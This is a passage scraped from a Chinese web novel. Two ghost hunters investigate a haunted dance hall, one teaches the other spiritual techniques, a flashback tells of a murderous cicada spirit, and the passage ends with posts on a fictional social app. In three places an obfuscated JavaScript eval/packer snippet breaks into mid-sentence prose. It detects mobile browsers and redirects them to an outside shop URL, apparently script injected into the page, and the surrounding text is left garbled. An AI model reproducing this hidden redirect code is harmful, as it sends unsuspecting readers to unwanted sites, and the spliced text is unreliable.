“这么大的地方都被照成了红色?”徐歌突然开口道,“刚刚听你说这个灯球的主要作用只是烘托氛围,而且我看见天花板也有其他负责照明的灯泡,仅凭灯球发出的红光就能照满整间屋子也很奇怪。” 梁必先听后说道:“你的意思是,红光可能不是灯球发出来的?” 陆南对着徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584100|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌点点头表示肯定:“这的确是个疑点,说不定下周的行动就可以从这里切入。” 梁必先拿出手机,用相机拍下了一楼的布局,这些照片会被后勤部整理成文件交给徐歌。 拍完后,梁必先看了一眼手表:“说起来,你们老板不是说也要来吗?怎么现在还没到?” 话音刚落,一个身穿精致西装的中年男人挺着肚子从门口进来,孟寻真一见到他就轻快地跑过去攀上了他的肩膀。 “马老板~这就是那三位大师了,”孟寻真从中介绍着,“这是舞厅老板马慈,马老板。” 马慈头上抹着厚重的发胶,眼角的皱纹在笑起来的时候挤作一团:“三位大师,我这小破舞厅就交托付给你们了呀!” 他的笑令陆南觉得很违和,就像是清水上浮着的油星,尽管如此,陆南还是礼貌地回应道:“马老板哪里的话。” 梁必先抢过话头,伸手作势和马慈握手:“这个舞厅福运很强,此等小风小浪不过是为了舞厅后面更大的回报啊!” “大师这么说,我可就放心啦,”马慈并没有理会梁必先伸过去的手,而是亲昵地用手拍了拍孟寻真的腰肢,“小真呐,带贵客们去二楼,我请酒!” 梁必先尴尬地收回了伸在半空中的手,眼神中闪过一丝狠戾。徐歌见马慈的手腕上戴着一串不凡的珠子,但她不认得那具体是什么材质。 “就知道吩咐人家~”不顾他人在场,孟寻真娇俏地嗔怒了一句,然后带着众人前往二楼。 “二楼是饮酒休息区,”孟寻真一边上楼一边介绍道,“那个人影,通常就出现在这一层。” “你能看清楚那个人影的体貌特征吗?”陆南问道。 “个子不高,像是个老人。” “不知马老板有没有头绪?舞厅建成之前,这块地上有没有发生过什么事?”徐歌对走在前面的马慈问道。 “这块地皮上就是个普普通通的一家人,后来他们卖了房子搬去了别处,没听说过他家横死过什么人,如果真有,我也肯定不会包下这块地皮啊!”马慈说完后还伸手摸了摸腕子上的串珠。 一行人上到了二楼,这一层分区摆着各种形状的酒桌和座椅,其他的摆设也比一楼多得多。 马慈带着众人到皮质沙发上坐下,然后取下手腕上的串珠,递到了陆南眼前:“大师,我见你手上也缠着珠子,你认得我这是什么吗?” 徐歌见此也看过去,那是一串单珠,直径很大,上面还有圆圈似的纹路。 陆南没有去接,只是瞥了一眼便道:“马老板好本事,去哪里弄到的太生木?” “哈哈哈哈,大师不愧是大师,好眼力!”马慈笑着把串珠戴回去,然后他压低声音,用手指指了指天,“我这是从仙坛上请下来的,法力大着呢!” 马慈饶有兴趣地接着问道:“敢问大师手上缠的是什么独特的材质?” 陆南笑笑:“就是普通的朱砂和六道木,不比老板的珠串。” 这时,孟寻真用托盘端来酒杯和酒,依次给众人满上:“这是陈年琥珀光,各位一定尝尝~” “别客气,来来来!”马慈率先举起酒杯,热情招呼道。 “我开车来的,遵纪守法就不喝了,谢老板好意。”梁必先起身去拍二楼的布局。 陆南也礼貌地推辞道:“我不喝酒。” 徐歌没怎么喝过酒,抱着尝尝鲜的心态拿起抿了一小口,琥珀酒辛辣的味道直冲鼻腔,把她呛得直冒眼泪。喝不惯喝不惯,她果断放弃了。 只有马慈熟练地将酒一饮而尽,孟寻真给他再满上的时候,他还笑盈盈地趁机摸了一把孟寻真的手。 “马老板知不知道,这间房子原本的人家搬去了什么地方?”陆南问道。 马慈取下手串在手里把玩:“我想想啊……应该是踢英园吧,搬去了好些年了,具体住在哪楼我就不知道了。” 这时梁必先拍完照示意陆南和徐歌回撤,可能是因为马慈的加入,梁必先和孟寻真相处的兴致已经所剩无几。 “那好,我们今天就先到这里吧,”陆南起身和马慈作别,“马老板下周等我们的消息就好。” 8.庙老爷 2 员工宿舍是一栋单独的居民楼,地处偏僻,附近也没有直通这里的公交线路,这栋楼看起来也有一定的年岁了,楼体灰色的墙皮也开始有些脱落,但整体环境比万翠公馆要强一点,绿油油的爬山虎攀附在侧面的墙体上,遮住了大部分的斑驳。 两人回来的路上,自行车的轮胎突然在路上爆了胎,只能半推半拽地带着自行车步行回了员工宿舍。 徐歌分配到的宿舍房间是502,正好是陆南的对门,听陆南说平时这里除了102的方冉双和202的黄明虎外,楼上楼下都没有其他人在住。 其他的几个员工,也不知道是住在自己家里还是说什么别的地方,总之不住员工宿舍,毕竟都不是什么普通人,陆南也懒得去探究。 往楼上走的过程中,徐歌问道:“你们这个组织,平时除了对付怨魂,还处理什么别的东西吗?” “说起来,除了后勤部,情报部和凶宅试睡员,还有一个部门的人你没有见过,”陆南回答道,“这个部门是处理‘跳僵’的,在组织里叫做‘赶尸人’。除了怨魂,跳僵也在我们的业务范围内。” “业务还挺广泛的,话说这个组织的领导人,是吴关吗?” “是也不是,”陆南想了想回答道,“我也是听说,最开始这个组织是由一个强大的术士组织起来的,这个术士和吴关曾经认识,但是他在某次任务中丧生了,这个组织就被托付给了吴关。” “不过吴关平时神出鬼没很不着调,平时会随心所欲地做一些善后工作,大部分时间我也不清楚他在干什么。” “那他凭借什么去让组织里的其他人去承认他的领导?感觉组织里的每一个人都挺有个性的啊。” “凭的是绝对的实力。” 徐歌吸了口气,是啊,只要有绝对的实力就行了。 陆南笑了笑:“不过你平时不用忌惮他,虽说他很讨人烦,但脾气总归不错。” 说话间,二人来到了502门前,发现上面的门板子已经翘起来了一块儿,掀一掀它还能从外面看见里面的绿色防盗门,防盗门上面是镂空的,所以可以直接看见屋里。 陆南沉默了一下,在想以什么样的措辞来解释比较好:“二楼有人喝醉了,手里拿着斧子乱挥,把这块门板子劈裂了。” “?”徐歌的嘴角抽搐两下,“组织里到底有没有正常人了?后来呢?” “好在他没什么伤人的倾向,我就没管他,后来,他累了就自己回去休息了。” 徐歌上前揪了揪那块翘起来的门板:“……算了,这个洞能当猫眼用,弥补了没有这扇门没有猫眼的缺陷。” 徐歌把木门拉开,里面还有一扇绿色防盗门,她手里的钥匙是插在这个铁门上的。 徐歌推开防盗门,和陆南走进屋里,环顾四周,这个屋子面积很小,刚好够一个人住。客厅有一个皮质沙发,扶手上已经爆了皮,沙发对面是一个木头长桌,一桌一椅都十分有年代感。 卧室是沙发后的房间,里面有一张双人床和一个木质衣柜,旁边暖气片中漏出来的锈水不知在哪一年弄花了墙角,应该是不能再用了。 床旁边是印着雨伞图案的棕黄色窗帘,地上还可以看到一些小飞虫的尸体。 客厅里直走是厕所,和黑漆漆的厨房,设施也都算是齐全。 陆南用干净的抹布擦拭着客厅的木桌,对着正到处串房间的徐歌道:“等住上几天打扫打扫,这间屋子有了人气儿,会更好的。” “诶,你的宿舍长什么样?”徐歌从卧室探出头来问道。 “因为工作,我平时住的都是别人的阴宅,不怎么回宿舍住,你要看的话,”陆南将另一把钥匙插进501的防盗门,“——进来吧,我正好拿点东西好教你术法。” 徐歌后脚一进到501就发出了感叹:“真干净啊——” 简直就像新买来干干净净的没住人一样。与此同时,徐歌还闻到屋里有一股清冽的药味,和陆南身上的味道很像,只是屋里的味道更浓更苦一些。 “平时不怎么在这里住,所以没多少东西,”陆南打开柜子开始翻找,“我找一些法器,你随便逛逛吧。” 501的摆设相当简单,布局也和502差不多,唯一不同的就是卧室里摆放的是上下双层床,第一层被用来放了各种书籍,摆的也是相当整齐。徐歌随手拿了一本,书名是《灵论》,翻开里面讲的好像是怎么培养自己的灵力,旁边还有陆南清隽的字迹批注。 记得小时候俩人一起上学,徐歌就经常被人诟病写字丑,再加上她懒得用橡皮,经常舔舔指尖就用手指去蹭那写错的铅笔字,一张字下来,糊的糊划的划,那张纸就像被穿在脚上跑了两亩地一样不堪入目。 徐歌还因此被她不识字的爹嘲笑,属于是文盲都能看出她的字写得丑的程度。 虽说后面经过陆南的一番努力教导自己字也进步了不少,陆南也曾欣慰地夸奖她终于有了规矩,但比起陆南的字,还是差了十万八千里。 想到之前的事,徐歌不自觉地仰起嘴角,余光中突然看见床头的角落里放着一把长命锁,徐歌记得这把锁是爸妈给陆南求来的,因为陆南命格不好,求来为的就是锁住他的命,小时候一直挂在他的脖子上。 徐歌凑近了看,却发现这把银质的锁像生了锈一般由里及外地发黑,用指尖敲一敲只觉得冰凉发脆,似乎就要散架了。 徐歌心道这是怎么搞的,就算好几年不戴也不至于会黑成这样啊。 这时徐歌听见陆南朝这边走过来的脚步声,便心虚地坐回床边假装读书——她也不知道自己在心虚什么,就好像是无意间看见大人秘密的小孩儿一样。 陆南收拾完东西看到徐歌正坐在床上翻看这本书,笑道:“你对这本书感兴趣吗?拿上吧,回去慢慢看。” 徐歌也是喜欢读书的,不过她更喜欢志怪画本子这种有图有情节的东西,其实徐歌根本没怎么看书的内容,虽说里面也有简单的图画,但旁边的字密密麻麻,光看着就要晕字了。 但既然要学术法,要干和陆南一样的工作,就得下功夫,啃书也是一种好方法!徐歌这样想着,决定回去好好研究这本书,毕竟自己也是看了那么多志怪画本子,对读书这种事也并不抵触。 陆南蹲下从桌子下面的抽屉里又拿出一把钥匙,仔细把写了501的小纸片用胶带粘在了钥匙上,粘完后把钥匙递给徐歌:“这是我的宿舍的备用钥匙,如果我不在这里,有什么事你可以直接开门进来。” “行。”徐歌把那本厚厚的书夹到胳膊下面,把501的钥匙接了过来,然后和自己502的钥匙挂在一起系在了腰上——501的钥匙上有那张小纸片,所以不会弄混。 徐歌见陆南用一个红色包袱鼓鼓囊囊地包着一堆东西,猜想这可能就是今天自己学习术法要用的道具。 回到徐歌的宿舍锁好门,陆南把包袱小心地放到桌子上,他关上了所有的窗户,并到卧室拉上了502的窗帘,干完这些后又去洗了洗手,回来打开了包袱。 “好了,我们开始学习吧。” 陆南把包袱里的东西一样一样地摆在木桌上,徐歌一样样地看过去,有花纹不同的符咒,红线,铜钱,木刀,还有不知道什么种类的木头珠子。 陆南看了一眼墙上的时钟,现在是下午一点四十,天黑之前,自己讲完最基本的东西是绰绰有余。 “举个好懂的例子吧,生活中,桌子不收拾就会变乱,地面不打扫就会积灰,失去原本的秩序,而这种打乱秩序的力量,就是‘混沌’。 动植物,人类,半仙,仙,神,都拥有不同程度的对抗混沌的力量。 怨魂或者跳僵,之所以失去原本的意识变得极富攻击性,就是被‘混沌’影响的结果。你也可以简单地把混沌理解为怨气。” 徐歌问道:“那,这个混沌和上古时期开天辟地时,被劈开的混沌,是同一种吗?” 陆南点点头:“是同一种。这就得提到,开天辟地的那四大神尊。 掌管造物权柄的元一统造神尊, 掌管空间的混溟玄空神尊, 掌管时间的十极通变神尊, 掌管创生权柄的妙生育化神尊。 祂们自混沌中创造了这个世界,其中,空间神尊为这个给我们所在的世界创造了一层‘保护罩’,让我们得以免除混沌的侵扰。但混沌的力量同样强大,不可避免地会渗透进来,打乱世间的秩序。 我们在驱逐怨魂的过程中,同样可以寻求神仙的助力。不过,神尊的位格过于崇高,目前没有手段可以与祂们建立联系,通常我们请的都是民间的‘仙’。祂们虽没有神尊那么强大的威能,但对于人类来说也是足够强大的助力了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590938|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是注意一定要去请有正统信仰的正仙正神,远离那些邪仙邪神。” “那怎样才能去‘请仙请神’?” “请仙请神需要牌位和笏板,要在专门的仪式中,手持笏板对着牌位去请,但这会耗费很多灵力,一般我们能自己解决的都不会去请神。 而我们一直提的‘灵力’,就是从外界吸收或者体内升华的力量,使用术法和法器,绝大多数都需要灵力。” “那,有什么法器是我现在就能用几下的?”徐歌问道。 “有,”陆南拿起那把桃木剑,“这是用三月三正午一点在南方找到的桃木,就算是普通人也可以用。” 桃木制成的武器可以对一切邪祟造成伤害,对灵力的要求也没那么高,我那里还有一些没有雕刻的桃木。” 接着陆南又给徐歌展示了红绳和铜钱:“这些都是寻常的的一些护身的东西,效果虽然不如法器,但比较好获得,用在日常生活中是绰绰有余的。” “那我怎么去开发灵力啊?”毕竟不能一直用桃木这一种武器,而且之前吴关也提到过,徐歌没开发灵力,山鬼花钱挂在自己身上都无法发挥完全的作用。 陆南想了想,说道:“开发灵力是一个循序渐进的过程,我当初做的事,就是静下心来,冥想。” “冥想?” “对,”陆南组织着语言,“就是闭上眼睛充分地去感受,直到大脑出现肿胀的感觉。” 见徐歌听得云里雾里的,陆南笑道:“这是一个需要实践的过程,具体的东西需要你自己去感知。你正好可以看看这本《灵论》,它上面讲得比我清楚得多呢。” 随后陆南将自己右手的那串六道木手串摘下来递给徐歌:“在此期间,你就闭着眼睛去数这个手串上珠子的数量,应该能很好地帮助你感知灵力。” 徐歌接过手串,放在手里端详,除了上面刻着自己看不懂的符文外,和一般的手串似乎没有什么区别。 “我老早就想问了,这手串有什么独特之处吗?” “这串六道木是我从隐仙那里得来的,”陆南说道,“隐仙是树林里的小仙,会捉弄误入林子深处的人,但如果成功猜中祂的名字,祂就会赠你一样东西。” “还有这种仙家吗?听起来还蛮有趣的。” “不过别去招惹比较好,当时我还是被捉弄的挺惨的,”陆南没有继续说下去,“总之这串六道木的法力还是挺强的,能帮助你很快的开发灵力。” 徐歌深吸了一口气:“好,这几天我狠狠恶补,争取下周通过考核!” 陆南点点头,笑道:“我相信你,不过也不用太勉强,我们的工作很特殊,能否吃得上这碗饭,很大一部分也得看命中是否注定。” 此时徐歌的手机提示音叮铃一声响了,她生涩地打开长声,是一个叫【社火】的用户给她发来了消息。 那是好几张焦点舞厅的实拍图,还附有手绘的平面图和文字资料。 此时【社火】又发来了一条信息:“我刚刚整理照片的时候看见,我在二楼拍的照,有一张拍到那东西了。” 徐歌心里一惊,她听说灵体是可以被高倍的摄像机拍下来的,她几乎是想都没想就要去打开那张照片。 “别看!”陆南握住手机,手背挡住了徐歌看向屏幕的视线。 “怎么了?” “你现在还没有开灵窍,直接看那东西的照片容易染上阴气,万一遇上那些强大的怨魂,甚至可能被缠上。”陆南皱着眉看过那张照片,然后把它从聊天记录里彻底删除。 徐歌感到有些后怕:“没想到这么严重,原本以为就是一张普通的照片……” 陆南将手机还给徐歌,安慰道:“等你这几天开发了灵力,就不会有这么多的限制了。” 徐歌暗暗叹了口气,归根结底还是自己知道的太少、能力太弱。 “不过听人讲述照片的内容是没有问题的,”陆南说道,“照片上的那东西也很模糊,它是在二楼窗边被拍到的,体态看起来是驼背的,像是个老人。” “老人的怨魂吗……”徐歌思考道,“所以我们算是运气不错?第一次去就直接拍到了它的样子。” “与其说是运气好,我更觉得它像故意出现的。” 徐歌也很快意识到,自己被改运之后哪有什么运气好这一说。 9.庙老爷 3 陆南将那一包法器收拾好后都留了徐歌,自己下楼去买饭,顺带修车。 自行车的后胎软趴趴的,推着也滚不起来,陆南记得两公里外有一家维修店,天色还早,他推着车,不急不躁地在路上走着。 右手扶着车把,手腕上的六道木借给了徐歌,空落落的竟还有些不习惯。 这串六道木是他在入职考核的任务中得来的,当时和他一起入职的人有十几个,岗位竞争很激烈,考核的任务就是在这个荒山上成功待过一个星期。 当时的那批人中不乏有术法基础的,而陆南当时只是一个初出茅庐的新人,连符咒都用不熟练,正常来说他是不可能竞争得过那些人的。 可是他们偏偏遇上了隐仙,人首蝉身的邪祟。 考核开始的第一晚,众人找了个相对空旷的地方点燃了火堆,陆南一个人坐在远处的树下打盹儿。 “诶,小兄弟,你是哪儿人?”一个中年男人朝昏昏欲睡陆南的搭话。 陆南随口扯了个谎:“我是三全村的。” “三全村?老乡啊!”男人来了兴致,“你一小年轻儿,怎么入了这门儿?诶,你有什么好本事吗?” 陆南回答道:“我没有什么本事,比不过各位。” 男人大手一挥:“这有什么关系!有我在这里,真有什么孤魂野鬼我也能打跑,到时候大家一起平安过了这考核,一起入职哈!” “好!”不少人鼓起了掌,似乎都对这次考核势在必得。 他们长谈到很晚,直到后面陆南隐隐约约地听见有人踩灭了火堆,山上才彻底安静下来。 深夜,一股铁锈的味道直冲陆南的鼻腔,他睁开眼摸索着点燃火柴,看见了他毕生难忘的景象: 那个睡前朝他搭话的男人,头被削去了一半,人中以上的那半边脑袋被蛛丝起来,空洞的眼眶正对上陆南的鼻尖。 陆南被吓得一连退了几步,不小心踩到了地上还在熟睡的人的胳膊。那人骂骂咧咧地睁开眼,在看到那半块头颅的瞬间便歇斯底里地尖叫起来,他的喊叫吵醒了其他的人,大部分人在看到这一景象后,纷纷惊叫着往山下溃逃。 “别乱窜!”保持着冷静的人对着他们吼道,“落了单正中那玩意儿的下怀!” 可是那些往山下逃的人却如同被黑暗吞食了一般消失了,再没有一点回应。 “他妈的,怎么一上来就遇上这么凶的东西!!” 此时算上陆南在内,还有八个人留在山上。 八个人凑在一起,戒备地熬到了第二天白昼的降临。 他们当中有两个人配得起移动手机,但从昨晚开始就一直没有信号,这座山仿佛是个天然的牢笼。 八人草草掩埋了男人的尸体,随后一起朝着山下行进。但下山的路裹着浓雾,仿佛永远没有尽头,他们很快意识到这是鬼打墙,随后便发现,浓雾不知何时卷走了他们其中的一个。 搜寻无果,剩下七人。 夜幕降临,他们轮流站岗放哨。但迟迟没有人叫陆南起来轮岗,待他醒来时,发现站岗的两人早就半截被埋在了地里,泥土和在他们的眼球搅拌在一起,他们蜷缩着,莫名令陆南想到了某种……幼虫。 这是第三天,还剩下五人。 晚上,他们谁也没敢睡,于是他们都见到了那个东西。 那是有半人大的蝉,不过蝉的头部却是一个少女的脸,一张阴恻恻的,诡异地笑着的脸。 它没有瞳孔,整只眼睛上都覆着污浊的白膜,但陆南却能感受到那双渗人的眼睛投过来的视线。 它的嘴角蝉蜕一样裂开: “猜猜,我叫什么名字?” 陆南的太阳穴突突地跳着,一下……两下…… “怪物……这就是个怪物……!”一个人不顾它提出的问题,掏出符咒就朝它打去。 此时,它的视线从陆南脸上移开,喃喃地说着:“缘分还不到……缘分……不到……” 接着,它的头直直地向那个发起攻击的人转去。 喀嚓喀嚓的声音从众人的脚下传来,陆南低头看去,脚下的土地不知道什么时候铺满了密密麻麻的蝉蜕和新生的蝉。那些蝉在地上飞快地爬行,聚集,密密麻麻地攀上了发起攻击的那人的身体。 随后,在痛苦的叫唤声中,那个人化作了一摊浓稠的血水。 第四天,还剩四人。 晚上,他们一起醒着,又见到了那个东西。 它的眼睛扫过每一个人,最终停留在剩下的一个女人身上。 “你来猜,我叫什么名字?” 女人知道轮到自己了,她一下子瘫坐在地上:“您是蝉仙儿,是蝉仙儿……求求你饶了我……” “不对……不对——你猜错了。”那东西沉重地煽动翅膀飞起来,而后,女人的半边脑袋应声落地。 第五天,还剩三人。 第六天,还剩两人。 第七天,仅剩陆南一人。 第七天,可能是觉得无聊了或是怎样,那东西第一次在白天出现在了陆南眼前。 “终于,轮到你了……轮到你了……” 陆南不知道已经多久没有入睡了,他只是蜷缩在树下,他甚至出现了幻觉,幻觉中有一个空洞的声音告诉他,这座山未荒废之前,叫做隐山。 原来这座山曾在夏季发生过大规模的人为山火,隐仙原本是这座山上的仙,也跟着这座山一起被焚烧,它的怨气迟迟不散,最终成了这副模样。 它的眼睛一眨也不眨地盯着陆南:“……猜猜我叫什么名字?” “你是隐仙。” 话音刚落,那东西的身体就从中间裂开了,仿佛是又一次蝉蜕,随后一个披着绸缎的女孩从里面钻了出来,不带一丝血污,至纯至净。 陆南猜中了它的名字,助祂再次成了仙。 蜕下来的壳子黑气腾腾地坍缩成灰,就像是隐仙剥离下来的混沌。 山上迷雾散去,隐仙给陆南寻来一个“缘”,就是这块六道木,作为助祂成仙的谢礼。 那次考核,只有陆南一个人满身血污地从荒山上活了下来。他在医院躺了半个月,半个月里,他没有开口说一句话,只是沉默地一点点地将那块六道木磨成了串珠。 “有的仙是会堕落成邪祟的,”后来吴关谈到隐仙时说道,“混沌和神念,本就一步之遥。” 那是他第一次直观地体会到人和仙的差距,哪怕是最低阶的仙,也足以把人玩弄至此。而那道给他提示的声音,或许是不甘的怨魂或许是路过的神仙,也已经无从考究了。 …… 徐歌按照《灵论》里教的办法,在沙发上盘着腿,闭上眼睛,放空自己的心神,一手还盘握着那串六道木。 书上说,灵力是对抗混沌最有效的手段,生物都有灵性,不只是人类,动物梳理毛发,清理巢穴等等维护秩序的行为,都是灵性的体现,而人类的特殊之处,就是可以把这灵性发展为更加强大的灵力,从而和混沌的力量直接对抗。 而陆南说的冥想,就是感知这股力量,并与它们建立联系的最基本的手段。 一开始,徐歌无法控制自己的想法,她越是尝试放空,就越是控制不住地乱想,于是她尽可能地把注意力集中在数串珠上。 一,两,三…… 闭上眼睛后的世界,并不是全黑的,刚开始是闭眼前看到的东西的残影,残影消失后,就是各种颜色的光点在这里扩散,聚集,坍缩。 一百零六,一百零七,一百零八。 在数完一遍后,徐歌瞬间觉得有什么一股清冽的能量在丹田汇聚,而后游走在各处经脉。 真的有用!徐歌一分心,就感觉这种能量在极速褪去,于是她尽力稳住自己的思绪,不再去考虑其他的事,就只是放空,数着串珠。 那些杂乱的光斑不知何时从她的视野中消失了,一种宁静而浓重的黑包裹住徐歌的思绪,让她觉得无比的宁静与安适。 直到陆南买完饭回来推开门,徐歌才发现天色已经暗下来了。 陆南把塑料袋打包回来的炸麻花往桌子上一放,麻花还冒着热腾腾的气:“忙了一天,来吃点好的。” 饿得前胸贴后背的徐歌,腾的一声从沙发上站起来,迫不及待地打开那个香喷喷的塑料袋,麻花的焦香热气腾腾地钻入她的鼻子,徐歌直接抓起一根就狼吞虎咽地吃了起来。 一边吃,徐歌一边将自己取得的微小进展告诉了陆南,陆南说这是很好的开始,隐仙给的这个“缘”,也帮上了徐歌的忙。或者说,徐歌也在这个“缘”之中? 他不禁想起那句,“缘,妙不可言”,居然也有这层意思。 徐歌吃得手上和脸上都泛着油光,她指着剩下的麻花问道:“你不吃吗?” “我在外面吃过了,”陆南递给徐歌卫生纸,示意她擦擦脸,“吃多了不好消化。” 吃不了太多是真的,陆南流浪的时候在冬天饿得发慌就把雪当饭吃,小孩没有什么常识,只觉得雪落下来白白净净的像白糖,吃起来也没有怪味,天长日久就把肠胃糟蹋了。再加上童子命的人活不长,天生就一堆毛病,陆南独居以后就懒得管了,反正再精细也好不了,再糟糕也死不了,于是就饱一顿饥一顿地得过且过,早就能做到面不改色和疾病共存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599730|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 徐歌皱眉道:“这么多年了,你会那么多厉害的法术,就没想办法治治你自己?” “我主修的是术法,又不是像你一样的体术,对身体机能的提升微乎其微,”陆南笑着摊了摊手,“而且,阴童子能有几个活蹦乱跳的?我这已经很不错了。” 还没等徐歌回答,陆南就岔开了话题:“还记得马慈说的焦点舞厅那块地皮上原本的那家人吗?” “记得,听马慈说,他们是搬到一个叫踢英园的小区——下一步我们要去那里调查这家人吗?” 陆南点点头:“如果要劝走怨魂,起码要理顺它的因果线,才能有理有据地劝好。” 的确,如果一问三不知地去和怨魂讲大道理,可能没几句就被对方挠死了。 “如果怨魂的怨气特别重,还得帮它解决那个‘心结’,所以我们得尽可能弄清楚事情的前因后果。” “踢英园也是恒盛的小区,但是距离这里有十几里的距离,明天我们得早点出发。”陆南一边说着一边拿出手机从长声上找出了踢英园的图片展示给徐歌。 那是一处别墅区,华丽的大门和独具匠心的绿化一眼看去就十分上档次。 陆南收回手机,提议道:“你可以联系梁必先,看看他能不能查出这家人的详细住址。” “他这都能查到吗?后勤部到底是怎么分工的?” “其实这个组织的架构也挺随便的,”陆南想了想回答道,“后勤部主要是负责筹集信息和处理烂摊子,梁必先比较擅长用电脑,所以他负责的是前者。” 说实话这个连个正式的招牌都没有的组织,能运行到现在还没散架已经是个奇迹了。 吃过饭后,陆南叮嘱徐歌好好休息,然后回到了自己的501宿舍。 徐歌打开了窗户,躺在自己的新床上,看着印在天花板上的灯影,凉爽的风从窗户吹进来,奔波的这两天,她重新在这间小宿舍里感受到了安逸。 就像梦一样,因为一封奇怪的信,卷入到陆南的任务里,还不知道为什么被改了运,又阴差阳错地进入了陆南所在的组织,分到了这间临时的宿舍,现在又开始学习术法,下周就要去面对那个东西。 仿佛有一双无形的大手在推着她,让她走上了和以往朴实的农村生活截然不同的道路。 楼下很安静,四面八方没有别的建筑,月光透过槐抱榆的枝叶倾倒在自行车的座位上——这些年来陆南一直过着这样的生活吗? 徐歌翻身起来,打开了手机上的长声,有些生涩地学着碧稞青的样子在长声里戳戳点点。 大家经常在长声里相互联系,自己也得熟练使用才行,不能拖陆南的后腿,而且说不定可以从长声上找到别人遗漏的焦点舞厅相关的情报。 徐歌的账号【八方来财】的头像上有一个红点,应该是有代办事项的提示,徐歌忍不住先去点了这个红点。 是收到的新关注通知,有三个新增的关注,点进去是【黑蔷薇少女】,【文鸟】和【与你无关】。 【文鸟】是陆南,【黑蔷薇少女】是白天徐歌关注的碧稞青,那这个【与你无关】是? 正在徐歌疑惑的时候,【与你无关】就发来了消息:“你好呀徐歌,我是吴关!有什么问题可以找我。” 原来是吴关,这个长声名起的还挺有意思的。 “好,谢谢你。”徐歌礼貌回复。 徐歌顺手打开【与你无关】的主页,他的头像是一个贱笑的表情,连同徐歌在内,关注了三个人。 诶?关注名单也可以打开,这样下去不就看的没完没了了,徐歌觉得有一点点窥探别人隐私的感觉,但既然点都点进来了,她还是好奇地看了一眼。 关注名单:【八方来财】【文鸟】【心如止水】 吴关关注了徐歌,陆南和一个不认识的人。 关注后可以快速找到对方进行聊天,而且对方的动态也会优先在自己的长声上被推送,可能吴关只是需要快速联系员工才关注的他们,但为什么没有关注其他员工?又或许,有什么其他的目的? 徐歌没再去乱七八糟地猜测,毕竟组织里的怪人那么多,他们的脑回路或许也和普通人不一样吧。 徐歌又点开【文鸟】的信息页面,陆南的头像是一张看起来很普通的蓝天白云。 关注:1;粉丝:15 没有发布过任何帖子,看起来像是个长声不活跃用户。 红点消完了,徐歌感觉顺眼了很多。 就在徐歌准备返回主界面找一找焦点舞厅的资讯时,手机突然黑屏闪退了,于是徐歌从手机桌面上重新打开了一遍。 10.庙老爷 4 <欢迎使用长声> <天长地久有时尽,此声绵绵无绝期> <如有问题可联系长声负责人> <> 负责人2:赵不见> 〖恒盛夜市重大开幕!〗发帖人:【小萍果】-今天7:30 恒盛市作为经济最繁华的市区之一,新开发的夜市区域在昨天正式开放,各种摊位齐聚一堂,百花齐放! <评论区> 【西柚半价】:恒盛越来越好!-今天7:36 【乾为天】:恒盛不愧是商业经济的领头羊,改天我一定去看!-今天7:42 【心碎西蓝花】:什么时候纶里市也能整点这种有意思的东西!学学人家恒盛啊!-今天8:02 【可可】:我为恒盛举大旗!–今天9:48 …… 〖大家有没有听说过“镜子不可以乱放”〗发帖人:【咩咩】-一年前16:23 小时候听说镜子不可以对着床放,也不可以对着门放,可能会招来不干净的东西。 楼主刚租了一间房子,今天搬进来的时候发现客厅里有一面墙那么大的镜子,正对着卧室门。那次晚上打开卧室门出去上厕所,我急匆匆地路过那面镜子,不小心用余光看了一眼,却发现镜子里的我好像是是站着不动的。 这是幻觉吧?一定是吧? 【诞生于寒冷冬夜】:楼主租房子没好好看过吗?不让对着门对着床,你这直接对着卧室门,真是什么都占了。-一年前16:35 【咩咩】回复【诞生于冰冷冬夜】:这是我好不容易租到的便宜房子,哪还有挑的道理。好吧,我决定今晚上去看看那面镜子到底怎么回事,不能一直这样疑神疑鬼的了!-一年前17:02 【诞生于冰冷冬夜】回复【咩咩】:你就没想过这房子为什么会便宜吗。不要作死啊楼主。我也是小时候听大人说不可以这样放,但是具体的原因我也不清楚……你还是别去乱试了吧。-一年前19:13 【咩咩】:我昨晚上仔细看了看,镜子里就是我自己嘛,根本没有别的东西,大家不用疑神疑鬼的啦!-一年前4:02 【旭日东升】:等等,楼主的头像为什么左右反过来了?!-一年前7:32 【虹】:这……就像是照了镜子一样啊……-一年前8:14 <裘之遍:此贴已封禁^_^> …… 〖新晋西瓜膨大素〗发帖人:【农甜西瓜】-今天14:20 西瓜膨大素,让西瓜一个更比六个大! 有兴趣的来邶晏的农甜西瓜店,我们出售新款西瓜膨大素!! …… 〖求恒盛大学整改宿舍楼〗发帖人:【今夜的雨我的泪】-7个月前23:01 